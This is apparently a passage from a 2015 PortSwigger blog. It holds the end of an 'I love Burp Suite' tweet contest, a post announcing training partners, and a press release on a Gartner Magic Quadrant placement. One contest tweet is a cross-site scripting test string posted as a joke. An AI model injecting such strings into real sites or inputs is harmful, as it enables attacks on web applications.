  • @schniggie - I love Burp Suite because it's the best web security tool you can get and buy by only pwning one bug. ROI is almost 0day :-)
  • @seanmeals - I love Burp Suite because it's helped me make a killing on bug bounties for a small investment of $300.
  • @sizzop - I love Burp Suite because "><script>alert('pwnd')</script>
  • @strawp - I love §Burp Suite§ §reasons§
  • @thedarkmint - I love Burp Suite because it's the mutant Swiss Army knife of web testing
  • @thegmoo - I love Burp Suite because it's possible to use Repeater to automate extreme participation in this contest
  • @tsmalmbe - I love Burp Suite because it swiggs my ports just right
  • @waptor75 - I love Burp Suite because it's my appsec Swiss Army chainsaw.
  • @ydoow - I love Burp Suite because the price seems even reasonable to tight arse northerners
  • @zebarg - I love Burp Suite because it made a vulgar word acceptable in professional conversations.

Friday, August 28, 2015

Burp Suite training courses

We're very pleased to announce an expanded list of Burp Suite training partners. Whether you are a Burp novice or an expert user, our training partners can offer you hands-on training to help you to get the most out of Burp Suite.

Our training partners offer courses at public events, and all courses can be presented privately on-site at your location.

The new Burp Suite Training page includes details of the different courses that are available, and dates of forthcoming public events where these training courses will be happening. Over time, we'll be adding details of more training partners to provide an even wider range of course options.

Thursday, August 27, 2015

Gartner continues to recognize PortSwigger as a Challenger for Application Security Testing in 2015

On August 6 2015 Gartner released its annual Magic Quadrant for Application Security Testing, with PortSwigger Web Security placed as a Challenger* for the second year, based on its ability to execute and completeness of vision.

In this latest report, analysts Joseph Feiman and Neil MacDonald state that “highly publicized breaches in the last 12 months have raised awareness of the need to identify and remediate vulnerabilities at the application layer”. In addition, that “attackers have increased the sophistication and frequency of their attacks, motivated financially by the theft of monetary assets, intellectual property and sensitive information”.

At PortSwigger we have always believed in pushing the boundaries of web security testing, and we continue to invest heavily in our research and development capabilities to help our users to respond to the rapidly evolving threats they face.

Dafydd Stuttard, founder of PortSwigger Web Security commented:

“Our accelerated investment and ambitious roadmap over the last 12 months have resulted in developments that have fundamentally improved the web scanning functionality that is available to our users.

“We released Burp Collaborator in April of this year, which has the potential to revolutionize web security testing. Over time, Burp Collaborator will enable Burp to detect issues like blind XSS, asynchronous code injection, and various as-yet-unclassified vulnerabilities. In the coming months, we will be adding many exciting new capabilities to Burp, based on the Collaborator technology.

“We have also pioneered research into two completely new types of vulnerability. Over the past 12 months we have released scan checks to find both server-side template injection and PRSSI (path-relative style sheet imports). Burp was the first scanner to detect these two serious vulnerabilities.”

Stuttard goes onto say that he is excited about the next 12 months at PortSwigger. “As one of the most widely adopted web security tools in the marketplace, we have a very large and loyal user community, which we will continue to listen to. That, coupled with our ability to remain agile as a company, allows us to respond rapidly to market developments. We are expecting to release many new exciting features in the coming months.”
*Gartner define Challengers in this magic quadrant as “vendors that have executed consistently, typically by focusing on a single technology (for example, SAST or DAST) or a single delivery model (for example, on AST as a service only). In addition, they have demonstrated substantial competitive capabilities against the Leaders in this particular focus area, and also have demonstrated momentum in their customer base in terms of overall size and growth.”

PortSwigger Web Security is a global leader in the creation of software tools for security testing of web applications. For nearly a decade, we have worked at the cutting edge of the web security industry, and our suite of tools is well established as the de facto standard toolkit used by web security professionals.

Gartner disclaimer: Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation . Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

Support Center

Get help and join the community discussions at the Burp Suite Support Center.

Visit the Support Center ›

Copyright 2016 PortSwigger Ltd. All rights reserved.